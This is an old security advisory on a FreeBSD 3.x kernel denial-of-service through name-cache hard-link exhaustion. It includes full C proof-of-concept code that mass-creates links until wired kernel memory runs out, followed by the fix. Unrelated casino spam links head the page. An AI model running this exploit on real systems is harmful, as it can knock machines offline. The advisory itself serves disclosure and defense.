Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
27th Sep 1999 [SBWID-123]
COMMAND
	    kernel
SYSTEMS AFFECTED
	    FreeBSD >= 3.0
PROBLEM
	    Charles  M.  Hannum  found   following.   Here's  an   interesting
	    denial-of-service  attack  against  FreeBSD  >=3.0  systems.    It
	    abuses a flaw in the `new'  FreeBSD vfs_cache.c; it has no way  to
	    purge entries unless the `vnode' (e.g. the file) they point to  is
	    removed from  memory --  which generally  doesn't happen  unless a
	    certain magic  number of  `vnodes' is  in use,  and never  happens
	    when the `vnode' (i.e. file) is open.  Thus it's possible to  chew
	    up an arbitrary amount  of wired kernel memory  relatively simply.
	    What strikes  as funny  about this  is that  the relevant  code in
	    4.4BSD-Lite,  which  was  in  FreeBSD  up through 2.2.8, was *not*
	    susceptible to such an attack, and  all of the code to prevent  it
	    was intentionally removed.
	    Testing was  done on  a machine  running FreeBSD  3.2-RELEASE with
	    256MB of RAM,  and it chugged  along to about  `02/03000' (meaning
	    it  created  3  files  and  about  63000 or so links), consuming a
	    whopping 34MB of wired kernel memory (according to `top'),  before
	    all file system activity came to a screeching halt and the machine
	    was unusable.
	    Also note that it may be  possible to exercise this against a  FTP
	    server  with  a  writable  directory  if  the  server has a way of
	    creating hard links.  The code:
	
	    #include <stdio.h>
	    #include <unistd.h>
	    #include <sys/stat.h>
	    #define	NFILE	64
	    #define	NLINK	30000
	    #define	NCHAR	245
	    int
	    main()
	    {
		    char junk[NCHAR+1],
		         dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1];
		    int i, j;
		    struct stat sb;
		    memset(junk, 'x', NCHAR);
		    junk[NCHAR] = '\0';
		    for (i = 0; i < NFILE; i++) {
			    printf("\r%02d/%05d...", i, 0),
			    fflush(stdout);
			    sprintf(dir, "%02d-%02d", i, 0);
			    if (mkdir(dir, 0755) < 0)
				    fprintf(stderr, "mkdir(%s) failed\n", dir),
				    exit(1);
			    sprintf(file1, "%s/%s%03d", dir, junk, 0);
			    if (creat(file1, 0644) < 0)
				    fprintf(stderr, "creat(%s) failed\n", file1),
				    exit(1);
			    if (stat(file1, &sb) < 0)
				    fprintf(stderr, "stat(%s) failed\n", file1),
				    exit(1);
			    for (j = 1; j < NLINK; j++) {
				    if ((j % 1000) == 0) {
					    printf("\r%02d/%05d...", i, j),
					    fflush(stdout);
					    sprintf(dir, "%02d-%02d", i, j/1000);
					    if (mkdir(dir, 0755) < 0)
						    fprintf(stderr, "mkdir(%s) failed\n", dir),
						    exit(1);
				    }
				    sprintf(file2, "%s/%s%03d", dir, junk, j%1000);
				    if (link(file1, file2) < 0)
					    fprintf(stderr, "link(%s,%s) failed\n", file1, file2),
					    exit(1);
				    if (stat(file2, &sb) < 0)
					    fprintf(stderr, "stat(%s) failed\n", file2),
					    exit(1);
			    }
		    }
		    printf("\rfinished successfully\n");
	    }
	
SOLUTION
	    This  exploit  does  not  affect  Linux  2.0.36, or any version of
	    NetBSD.  Note that, although it may seem like setting quotas is  a
	    good solution to this problem, if the FreeBSD system is acting  as
	    a NFS client, it's  possible to use a  variant of the attack  that
	    only creates  one file  and keeps  at most  one link  to it at any
	    given time.
	    This has been addressed and was fixed in  src/sys/kern/vfs_cache.c
	    revision 1.38.2.3 before releasing the latest stable  FreeBSD-3.3:
	    A tunable sysctl knob  `vfs.cache.maxaliases' which defaults to  4
	    limits the number  of cache aliases  to a vnode.   In other  words
	    this has been fixed in 3.3-RELEASE.
	

Internet highlights